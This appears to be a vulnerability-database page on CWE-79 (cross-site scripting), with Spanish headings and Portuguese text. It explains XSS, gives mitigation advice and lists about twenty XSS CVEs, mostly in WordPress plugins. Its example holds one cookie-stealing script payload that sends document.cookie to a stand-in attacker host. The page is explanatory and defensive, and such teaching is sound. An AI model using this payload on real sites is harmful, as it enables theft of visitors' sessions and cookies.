Fallos del tipo CWE-79

30.259 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-54260MEDIUMWordPress News Kit Elementor Addons plugin <= 1.4.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-0863MEDIUMFlexmls® IDX <= 3.14.27 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-102918MEDIUMRedux Framework <= 4.5.15 - Authenticated (Subscriber+) Stored Cross-Site Scripting via multi_media Field and Client-Supplied checkuser_idEPSS 0.3%CVE-2024-9141MEDIUMCross-Site Scripting (XSS) vulnerability in Oct8neEPSS 0.3%CVE-2024-9457MEDIUMWP Builder <= 3.0.7 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-12167MEDIUMShortcodes Blocks Creator Ultimate <= 2.2.0 - Reflected Cross-Site Scripting via _wpnonceEPSS 0.3%CVE-2024-27988MEDIUMWordPress WEN Responsive Columns plugin <= 1.3.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-33945MEDIUMWordPress Eleblog – Elementor Blog And Magazine Addons plugin <= 1.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2022-50942MEDIUMIncinga Web 2.8.2 Client-Side Cross-Site Scripting via EventListenerEPSS 0.3%CVE-2025-26159MEDIUMLaravel Starter 11.11.0 is vulnerable to Cross Site Scripting (XSS) in the tags feature. Any user with the ability of create or modify tags EPSS 0.3%CVE-2024-38675MEDIUMWordPress Arkhe Blocks plugin 2.22.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-10044MEDIUMKeycloak: keycloak error_description injection on error pagesEPSS 0.3%CVE-2025-63611HIGHCross-Site Scripting in phpgurukul Hostel Management System v2.1 user-provided complaint fields (Explain the Complaint) submitted via /regisEPSS 0.3%CVE-2025-2542MEDIUMYour Simple SVG Support <= 1.0.1 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-29104MEDIUMWordPress Ticket Tailor plugin <= 1.10 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-9562MEDIUMRedirection for Contact Form 7 <= 3.2.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via qs_date ShortcodeEPSS 0.3%CVE-2025-66824HIGHA Stored Cross-Site Scripting (XSS) vulnerability exists in the Meeting location field of the Create/Edit Conference functionality in TrueCoEPSS 0.3%CVE-2024-29098MEDIUMWordPress WP Calameo plugin <= 2.1.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-7867MEDIUMPortabilis i-Educar Agenda agenda.php cross site scriptingEPSS 0.3%CVE-2024-38686MEDIUMWordPress FancyPost plugin <= 5.3.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%